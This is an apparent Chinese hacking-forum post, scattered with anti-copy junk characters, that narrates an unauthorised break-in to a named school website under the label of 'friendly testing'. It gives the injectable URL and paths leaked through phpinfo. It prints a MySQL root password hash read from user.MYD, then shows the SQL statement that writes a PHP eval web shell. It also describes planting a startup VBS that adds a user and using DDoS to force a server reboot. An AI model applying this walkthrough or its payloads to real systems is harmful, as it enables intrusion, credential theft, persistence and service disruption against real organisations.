友情检测湖北省大治市第一中学

admin

第一眼看去，好像全是html静态的，都知道静态的根本不好日，多点击几个专栏
  K+ X* }) W! k发现这个：http://www.dyyz.net.cn/celebrate/list.php?id=3  -0  -1 判断后确认存在注入！

9 }. F! m- i6 X' I  F

6 e) n: ]/ N0 f常规手工不行，尝试突破也不行，利用穿山甲 可以注入：root权限

那么想可以直接写入shell ，getshell有几个条件：

1、知道站点物理路径

2、有足够大的权限

3、magic_quotes_gpc()=OFF
. ^8 q# ~# Q4 S! [/ ?
试着爆绝对路径：
  {- x# I3 N3 f) [* Z, Z1./phpMyAdmin/index.php?lang[]=1  
/ q5 q/ h# w; ?- s2./phpMyAdmin/phpinfo.php  
3./load_file()  
3 o& s+ {/ J4 D3 O6 b+ G- ]4./phpmyadmin/themes/darkblue_orange/layout.inc.php  
5./phpmyadmin/libraries/select_lang.lib.php  
! X; S$ N6 \/ g5 ?( n+ a6./phpmyadmin/libraries/lect_lang.lib.php  
7./phpmyadmin/libraries/mcrypt.lib.php   
8./phpmyadmin/libraries/export/xls.php  

均不行...........................

御剑扫到这个：http://www.dyyz.net.cn//phpinfo.php       获得网站路径：D:/www/phpinfo.php
' J# d" Q- c1 T/ ~: X% Z# [
( l9 t* o# [! M  l7 D9 }- ^权限为root，知道网站路径，可是条件3不符合，没法写入shell ，不过服务器存在phpmyadmin
! b4 E: @( g% @7 w9 m" a. P6 J/ h$ A
2 p8 i3 }2 O- N% F默认不行，尝试万能密码：帐号 'localhost'@'@" 密码空 ，登录失败
' Y2 g; Q: J$ a
敏感东西：http://202.103.49.66/Admincp.php  社工进不去...........

想想root还可以读，读到root密码进phpmyadmin 也可以拿shell
1 V. b! M* E3 s
http://www.dyyz.net.cn//phpinfo.php  泄露了D:\phpStudy\PHP5\php.ini

/ z# U" j9 k) e自己修改好读root密码的路径：D:\phpStudy\MySQL\Data\mysql\user.MYD
( d! I" b. }. ]/ z% ]  r
成功读到root密码：
  L7 B2 I- H$ q! C' C' H
17---- r(0072)
% [: e( [( X" `; V18---- o(006f)
19---- o(006f)
20---- t(0074)
21---- *(002a)
' H$ t  v5 a" o8 P22---- 8(0038)
5 A3 H- W  B% z4 i23---- 2(0032)
24---- E(0045)
4 |/ b% G  z4 u$ T7 ?8 t- i25---- 1(0031)
+ m9 W$ {, I* q0 u# t; q26---- C(0043)
0 q/ j: i1 r! I* |# z27---- 5(0035)
28---- 8(0038)
29---- 2(0032)
( x+ ]. a; h3 M& u  O$ y  j1 _30---- 8(0038)
31---- A(0041)
* t; N5 z% K4 ?" x32---- 9(0039)
33---- B(0042)
( U6 `( p, S! e" I% f34---- 5(0035)
/ ^: H' R, O1 J/ ~2 b35---- 4(0034)
) y3 G* Q" N$ u7 w1 u2 N36---- 8(0038)
37---- 6(0036)
1 I+ Q0 U7 e4 Y5 r; I# `38---- 4(0034)
' p5 y9 {% O4 _2 c) R) p) \  N39---- 9(0039)
40---- 1(0031)
- \" G. D, E6 i# N( E* i3 q% s41---- 1(0031)
. @9 ?( W- }# n$ m; D+ P0 P# ~# w42---- 5(0035)
, k' d9 D- o+ x- `$ m2 {43---- 3(0033)
' `6 A) C8 S) k) \5 S. u44---- 5(0035)
45---- 9(0039)
+ u6 _- g, J# e1 K" N46---- 8(0038)
47---- F(0046)
48---- F(0046)
49---- 4(0034)
7 e+ X' \% I* Y* H50---- F(0046)
+ B! w8 W/ j7 f- ^51---- 0(0030)
52---- 3(0033)
; b6 D0 p8 |( S; u. ]9 c8 `53---- 2(0032)
/ N2 N  x2 D. D& U' M0 h# `54---- A(0041)
1 U- b! T& |( C4 k" O! L55---- 4(0034)
9 N3 B% E3 R8 |: x$ G7 ~56---- A(0041)
" Q& [! j1 J! y% T% q57---- B(0042)
58---- *(0044)
' x! K. O+ t- Z  S3 u) L59---- *(0035)
60---- *(0041)
61---- *0032)

) Z0 X6 Z* z8 m( q$ d9 x( t" m解密后成功登陆phpmyamin
                          
5 ~& B3 L, N, {+ j6 s3 q3 D
                             
& K5 _, k/ \7 _$ j1 k6 q
找到mysql数据库，执行sql语句：elect '<?php @eval($_POST[pass]);?>'INTO OUTFILE 'd:/wamp/www/daxia.php'

成功执行，拿下shell，菜刀连接：
$ V# T  D+ w! ]  H
6 W3 p& k4 H* K! f服务器不支持asp,aspx,php提权无果...................

但服务器权限很松，上传个远控小马或是一个添加用户的vbs程序到启动里：
1 k, s+ b# s$ F0 t. l

服务器上已经有个隐藏帐号了

别名     administrators
注释     管理员对计算机/域有不受限制的完全访问权

- L" B  v# y1 D# @# R

成员

! ]; V) F9 H: L3 W

-------------------------------------------------------------------------------
admin
% {! I& `* X4 V3 I! l% `) sAdministrator
slipper$
: l% {3 ^# q8 ]  |3 ?& o0 Dsqluser
, N& ^. d% W6 N+ ]+ \3 B+ h) A命令成功完成。

服务器权限很松，上传个vbs添加用户的到启动，不要用bat，会开机的时候显示运行批处理的。

ddos服务器重启，不然就只能坐等服务器重启了...............................
2 H: q% s; k# m) `
# m7 v! d+ a' x: b" U) X/ `& p  t      

angel